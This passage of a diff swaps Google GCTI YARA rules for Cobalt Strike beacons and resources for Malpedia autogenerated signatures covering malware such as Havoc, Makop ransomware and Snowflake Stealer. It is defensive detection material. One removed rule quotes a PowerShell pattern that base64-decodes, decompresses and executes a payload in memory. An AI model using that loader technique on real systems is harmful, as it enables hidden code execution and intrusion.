+		$sequence_6 = { 8b45f8 8b75f4 83c0f0 50 }
+		$sequence_7 = { ff705f 8b45c0 ffb0b7000000 ff75dc }
+		$sequence_8 = { 8b45c0 ff705f 8b45c0 ffb09f000000 ff75dc e8???????? 83c40c }
+		$sequence_9 = { 2402 88460e b001 5f 5b }
+		$sequence_10 = { 6880000000 ff7508 8b45f8 ff5073 ff7508 8b45f8 }
+		$sequence_11 = { 8b45bc 8a4053 8845f7 8b45bc 8a400c 8845f8 }
+		$sequence_12 = { 57 6800100000 ff75f8 ff75f0 ff9303010000 }
+		$sequence_13 = { 885de0 8a5823 884de9 8a4839 885de1 8a581d 884dea }
+		$sequence_14 = { 8b85a8faffff 660fbe4003 668945ba 8b85a8faffff 660fbe4013 }
 
 	condition:
-		all of them
+		7 of them and filesize <32768
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_13
+rule MALPEDIA_Win_Qaccel_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.13"
-		author = "gssincla@google.com"
-		id = "202eb8ea-7afb-515b-9306-67514abf5e55"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1407-L1440"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "945e10dcd57ba23763481981c6035e0d0427f1d3ba71e75decd94b93f050538e"
-		logic_hash = "81571a6c30802430d0df9980e005736d58464bde98c0889b48bf8d0c7e88d247"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "1dd927f1-4f29-5825-9031-a85900b0d7a3"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qaccel_auto.yar#L1-L130"
+		license_url = "N/A"
+		logic_hash = "fe81ee4455e2d861af0930707bfdb209646482eb98d90e9c040e2aaf3beb1c92"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 8D 0D 01 5B FF FF 48 83 C4 28 E9 A8 54 FF FF 8B D0
-                     49 8B CA E8 22 55 FF FF }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 68???????? 50 64892500000000 56 57 8bf9 0f8816000000 }
+		$sequence_1 = { 5f 5f 5f 5f 5f b801000000 5e }
+		$sequence_2 = { 53 03c6 51 50 c7450c00000000 }
+		$sequence_3 = { 83cbff 0f8819000000 0f8913000000 5f 5f 5f 5f }
+		$sequence_4 = { 8b4020 6a05 50 ffd6 50 e8???????? 8b4820 }
+		$sequence_5 = { 8d55e8 51 52 ff15???????? 8b45fc 8b4df8 6a00 }
+		$sequence_6 = { 50 ffd6 50 e8???????? 0fbe4dff 8b5020 6801001c00 }
+		$sequence_7 = { 5f 5f 5f 68???????? ff15???????? 85c0 }
+		$sequence_8 = { 5f 5f 5f 5f 6a00 50 }
+		$sequence_9 = { 5f 5f 5f 66a1???????? 8b3d???????? 6800010000 668903 }
 
 	condition:
-		all of them
+		7 of them and filesize <106496
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_14
+rule MALPEDIA_Win_Floki_Bot_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.14"
-		author = "gssincla@google.com"
-		id = "d69171e3-86f4-5187-8874-5eee2045f746"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1442-L1477"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "297a8658aaa4a76599a7b79cb0da5b8aa573dd26c9e2c8f071e591200cf30c93"
-		logic_hash = "87cf465154d4294eeda9cf99c6c160da80cfa8a65244bc083737c0c87163431d"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "1cde0271-e319-5f49-b7d9-6126f8e6a662"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.floki_bot_auto.yar#L1-L131"
+		license_url = "N/A"
+		logic_hash = "de31350a6a6eca83bc8efd1fc6e07ad972095e30f5b6c290e1bfd7b68f7ea01f"
 		score = 75
-		quality = 85
-		tags = ""
-		rs2 = "39b9040e3dcd1421a36e02df78fe031cbdd2fb1a9083260b8aedea7c2bc406bf"
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 B1 1F 00 00 8B D0 49 8B CA
-                     48 83 C4 28 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { ff7508 e8???????? 83f8ff 7511 ff7518 ff7514 53 }
+		$sequence_1 = { 68???????? 53 89460c e8???????? 85c0 }
+		$sequence_2 = { c3 e8???????? 84c0 742c 56 ff15???????? 8bf0 }
+		$sequence_3 = { 53 e8???????? eb5e 8d45f4 99 8945b4 8b4508 }
+		$sequence_4 = { 83f840 7205 83c8ff eb63 56 6a04 8985fcfeffff }
+		$sequence_5 = { 3bd1 72f3 eb05 83faff 7527 8d7101 }
+		$sequence_6 = { e8???????? 83ffff 0f8472ffffff 3bfb 7404 c645fb00 8a45fb }
+		$sequence_7 = { 3b4e48 7612 ff7004 6a03 ff7644 51 ff10 }
+		$sequence_8 = { 56 6800040000 ff15???????? 8bf8 3bfe 0f8483000000 8d45e8 }
+		$sequence_9 = { 8bf7 e8???????? 8b7d0c 8b5d14 837d1000 742e 33c0 }
 
 	condition:
-		all of them
+		7 of them and filesize <286720
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_X86_V4_0_Suspected
+rule MALPEDIA_Win_Makop_Ransomware_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.0 (suspected, not confirmed)"
-		author = "gssincla@google.com"
-		id = "28a735c4-87d1-5e14-9379-46a6fd0cdd2a"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1480-L1515"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "55aa2b534fcedc92bb3da54827d0daaa23ece0f02a10eb08f5b5247caaa63a73"
-		logic_hash = "0dbf6a75dc74f4c2a7604072a01e2dbaaee15f5e57c765f24138d85c248fb305"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "cd34e745-9497-5ffc-bd73-ecb5996e2067"
+		date = "2023-07-11"
+		modified = "2023-07-15"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.makop_ransomware_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "3c7cc3419f322a8e9eb8473ecaf54fc5da0725e8a0f35ff3f90245e28389848b"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20230705"
+		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
+		malpedia_version = "20230715"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 D1 B3 FF FF
-                     8B D0 49 8B CA 48 83 C4 28 E9 AF F5 FF FF 45 33 C0
-                     4C 8D 0D 8D 70 FF FF 8B D0 49 8B CA E8 9B B0 FF FF }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { eb02 33f6 803d????????00 751f 803d????????00 7516 80fb01 }
+		$sequence_1 = { 52 50 51 e8???????? 8b542430 83c40c 68e0930400 }
+		$sequence_2 = { 52 66c7060802 66c746041066 c6460820 }
+		$sequence_3 = { 56 ff15???????? 85c0 750b 8906 32c0 5e }
+		$sequence_4 = { 83c001 84c9 75f7 2bc7 83e801 39442404 720a }
+		$sequence_5 = { ffd6 85ff 740f 85db 740b 837c242000 7404 }
+		$sequence_6 = { 8b2d???????? 3beb 742e 8b4524 3bc3 7407 50 }
+		$sequence_7 = { 7416 e8???????? 6a00 e8???????? 83c404 }
+		$sequence_8 = { e8???????? 8b442418 83c40c 8b4f0c }
+		$sequence_9 = { 742f 33c0 3906 763d 8d4c2448 }
 
 	condition:
-		all of them
+		7 of them and filesize <107520
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_1_And_V_4_2
+rule MALPEDIA_Win_Rtm_Locker_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.1 and 4.2"
-		author = "gssincla@google.com"
-		id = "dc320d17-98fc-5df3-ba05-4d134129317e"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1517-L1553"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "29ec171300e8d2dad2e1ca2b77912caf0d5f9d1b633a81bb6534acb20a1574b2"
-		logic_hash = "9b262ec18f79ab5ae63ad26d3685af088b5feb2d66de6ad3ba584cafbe2ee221"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a8f49436-bcde-542d-92ad-a9016371f8b8"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rtm_locker_auto.yar#L1-L127"
+		license_url = "N/A"
+		logic_hash = "61d8b5fbf492d5b9d06c2052f9a6a3111c4e3f003fd0450ca27ee699de4151fc"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 83 F9 34 0F 87 8E 03 00 00 0F 84 7A 03 00 00 83 F9 1C 0F 87 E6 01 00 00
-                     0F 84 D7 01 00 00 83 F9 0E 0F 87 E9 00 00 00 0F 84 CE 00 00 00 FF C9
-                     0F 84 B8 00 00 00 83 E9 02 0F 84 9F 00 00 00 FF C9 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 8d8d2cfeffff e8???????? 0f108d64fcffff 33c9 0f109574fcffff 0f109d84fcffff 0f10a594fcffff }
+		$sequence_1 = { 0f104630 660fefd0 0f1006 660fefc8 0f110f 0f116710 0f115f20 }
+		$sequence_2 = { 0f29442470 0f28842470010000 0f29842420010000 0f28842480010000 89442458 83c004 894c245c }
+		$sequence_3 = { e8???????? 8d8d68ffffff e8???????? 0f108568ffffff be18000000 0f1185c8feffff }
+		$sequence_4 = { 0fbe8098074200 40 8945cc 2b45dc 8945d4 3bc2 0f8f10020000 }
+		$sequence_5 = { 50 6af5 eb03 50 6af6 ff15???????? 8b04bd500f4200 }
+		$sequence_6 = { c1f910 884e02 8b4de0 0ac1 884603 8bc1 c1f808 }
+		$sequence_7 = { 897dfc 897db8 894508 85c0 0f8f3ffeffff }
+		$sequence_8 = { 8d442430 50 ff15???????? 8bf0 83feff 7431 }
+		$sequence_9 = { 8b0c85500f4200 8b45f8 807c012800 7d46 }
 
 	condition:
-		all of them
+		7 of them and filesize <598016
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_3
+rule MALPEDIA_Win_Unidentified_081_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Version 4.3"
-		author = "gssincla@google.com"
-		id = "572616c7-d1ec-5aa1-b142-4f2edf73737f"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1555-L1590"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "3ac9c3525caa29981775bddec43d686c0e855271f23731c376ba48761c27fa3d"
-		logic_hash = "0c8934e997583339145749a3167ac010d8c77b2ed878d2c999de68ec2a98101d"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "4bef4e35-3450-5f50-98ad-424279417112"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_081"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_081_auto.yar#L1-L125"
+		license_url = "N/A"
+		logic_hash = "0bf113d92abe743278ae5a94b3d8f7a48f5ba7f91d2e79f1d3ac361b6c786f4e"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 D3 88 FF FF
-                     4C 8D 05 84 6E FF FF 8B D0 49 8B CA 48 83 C4 28 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 8985c8fdffff 83f808 0f84ab090000 83f807 0f8777090000 ff24854fa44000 33c0 }
+		$sequence_1 = { c74518f0944100 50 8d4dc4 e8???????? 68???????? 8d45c4 }
+		$sequence_2 = { 68???????? b9???????? e8???????? c645fc03 33c0 }
+		$sequence_3 = { eb02 33c0 8bbdc8fdffff 6bc009 0fb6bc38e8544100 8bc7 89bdc8fdffff }
+		$sequence_4 = { 8b7508 c7465c48554100 83660800 33ff }
+		$sequence_5 = { c645fc01 33c9 66a3???????? 66390d???????? 8bc6 c705????????07000000 0f44c1 }
+		$sequence_6 = { 88440a34 8b049dd0d14100 c744023801000000 e9???????? ff15???????? 8bf8 }
+		$sequence_7 = { 83e61f c1f805 c1e606 8b0485d0d14100 80643004fd 8b45f8 }
+		$sequence_8 = { 6a01 6a00 f7d8 50 53 ff15???????? 8b8d34ffffff }
+		$sequence_9 = { ff15???????? 837c241001 7507 b101 e8???????? 8b35???????? }
 
 	condition:
-		all of them
+		7 of them and filesize <273408
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_4_V_4_5_And_V4_6
+rule MALPEDIA_Win_Revenant_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.4 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "79b6bfd4-1e45-5bd9-ac5c-19eb176ce698"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1593-L1628"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "3280fec57b7ca94fd2bdb5a4ea1c7e648f565ac077152c5a81469030ccf6ab44"
-		logic_hash = "be0bbf58a176f8089924b3ce58268d906f49dde51d863524971e46f4bada43a3"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a1374c5f-49ed-5419-afea-48c7289282d4"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.revenant_auto.yar#L1-L117"
+		license_url = "N/A"
+		logic_hash = "c5089ea5b4a1f250ceb154edb995f0fd96a084eb423c884f131dc135f20dbca0"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 83 88 FF FF
-                     4C 8D 05 A4 6D FF FF 8B D0 49 8B CA 48 83 C4 28 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 4c8d4c2458 4889f1 4889c3 31c0 4889442420 4889da ff15???????? }
+		$sequence_1 = { 4c89e1 e8???????? 488906 31c0 48894608 }
+		$sequence_2 = { ba28000000 b940000000 ffd6 31d2 }
+		$sequence_3 = { eb3a 4c89e1 e8???????? 488906 31c0 }
+		$sequence_4 = { 4889442450 e8???????? 85c0 4189c7 }
+		$sequence_5 = { 4c01c2 31c9 49f7d0 48ffc9 4939c8 740a 448a140a }
+		$sequence_6 = { 41b842000000 4c89e1 ff15???????? 8b4c246c 4989c4 }
+		$sequence_7 = { 8b00 41390424 7592 41c744240801000000 }
+		$sequence_8 = { 4883c328 4839fb 7427 41b808000000 4889f2 4889d9 }
+		$sequence_9 = { e8???????? ba04010000 b940000000 48c744242804010000 41ffd6 4885c0 }
 
 	condition:
-		all of them
+		7 of them and filesize <99328
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_5_Variant
+rule MALPEDIA_Win_Havoc_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.5 (variant)"
-		author = "gssincla@google.com"
-		id = "45715da9-8f16-5304-b216-1ca36c508c77"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1630-L1665"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "8f0da7a45945b630cd0dfb5661036e365dcdccd085bc6cff2abeec6f4c9f1035"
-		logic_hash = "31a108168489a24d1bc297d722741f3fd19abd1bed4c76d54967c73986d18123"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "effddaaf-e7fe-58ad-88f4-e26f6d7794a2"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.havoc_auto.yar#L1-L121"
+		license_url = "N/A"
+		logic_hash = "dea553016c43a89176918937bfc9793358dadd2541e82f3880161a16c9ccfd07"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 E8 AB FF FF
-                     8B D0 49 8B CA E8 1A EB FF FF 48 83 C4 28 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 85c0 7856 488b842488000000 488bb42488000000 4531c9 }
+		$sequence_1 = { 48898424ae000000 4c8d442458 ba2a040000 8b842498000000 4889442448 }
+		$sequence_2 = { 4488440101 448a440202 4488440102 448a440203 4488440103 4883c004 4883f820 }
+		$sequence_3 = { 4885c0 7504 31f6 eb08 488b4030 ffc3 }
+		$sequence_4 = { 55 4c89c5 57 56 4889d6 53 }
+		$sequence_5 = { 4883ec28 488b410c 488b4904 488d5008 488b05???????? }
+		$sequence_6 = { 488d4b10 4c8d4c2460 4889442460 8b442478 ba00000002 4c8d842490000000 }
+		$sequence_7 = { f3a5 488bbc2480000000 488b742460 b934010000 f3a5 }
+		$sequence_8 = { baff010f00 c744244001000000 4889442444 31c0 85f6 }
+		$sequence_9 = { 4155 4154 4531e4 55 57 56 53 }
 
 	condition:
-		all of them
+		7 of them and filesize <164864
 }
-rule GCTI_Cobaltstrike_Resources_Command_Ps1_V2_5_To_V3_7_And_Resources_Compress_Ps1_V3_8_To_V4_X
+rule MALPEDIA_Win_Snowflake_Stealer_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x"
-		author = "gssincla@google.com"
-		id = "c0b81deb-ed20-5f7e-8e15-e6a9e9362594"
-		date = "2022-11-18"
-		modified = "2022-11-22"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x.yara#L17-L33"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62"
-		logic_hash = "31cf47060757b086d325cd205724a7be8931bbbc6ff2f4be67a6179ee99c42ca"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "c75b333a-682d-594f-91c1-b34498f1ad6e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snowflake_stealer_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "245c81a71d2d7616cdb88580467328ff9d430753f4cd71b549a9003edd26959a"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$ps1 = "$s=New-Object \x49O.MemoryStream(,[Convert]::\x46romBase64String(" nocase
-		$ps2 = "));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();" nocase
+		$sequence_0 = { f20f114740 0fb64111 894738 89473c ff5308 8b542418 59 }
+		$sequence_1 = { f30fe6c0 660f2fc8 7623 84d2 750a f30f1048fc 0f5ac9 }
+		$sequence_2 = { f20f1000 f20f1106 8b4008 c7030a000000 894608 53 56 }
+		$sequence_3 = { eb54 8b54241c 8d4c2474 e8???????? 8b44247c 8b8c2480000000 31f6 }
+		$sequence_4 = { ff753c ff74241c e8???????? 59 59 83650800 83650c00 }
+		$sequence_5 = { ff7010 ff700c ff7110 ff710c ff7608 ff560c 83c414 }
+		$sequence_6 = { ff750c e8???????? 83c410 5f 8bc6 5e 5b }
+		$sequence_7 = { ff742428 e8???????? 50 53 56 e8???????? 8bd8 }
+		$sequence_8 = { c745f001000000 894ddc 51 8945e0 ff500c 83c404 8b45e0 }
+		$sequence_9 = { ff7310 e8???????? 8bf0 83c40c 85f6 756f 55 }
 
 	condition:
-		all of them
+		7 of them and filesize <6196224
 }
-rule GCTI_Cobaltstrike_Resources_Artifact32Svc_Exe_V3_1_V3_2_V3_14_And_V4_X
+rule MALPEDIA_Win_Unidentified_110_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)"
-		author = "gssincla@google.com"
-		id = "732169be-e334-5774-b0ac-54b217a8b681"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32svc_Exe_v1_49_to_v4_x.yara#L53-L77"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9"
-		logic_hash = "b55211fc2dbe100edb19c3f3a000be513144e3556c4bce8a29a3c0b77451ba96"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "264cfac8-ace3-5d01-a52d-48fde572696d"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_110_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "d08f798b1cfbec1be54b7df96bb36676a27b486448d2260bb80e971ad4c99ec2"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 }
+		$sequence_0 = { ff5638 4839d8 756f 488b37 ba08000000 4889f9 e8???????? }
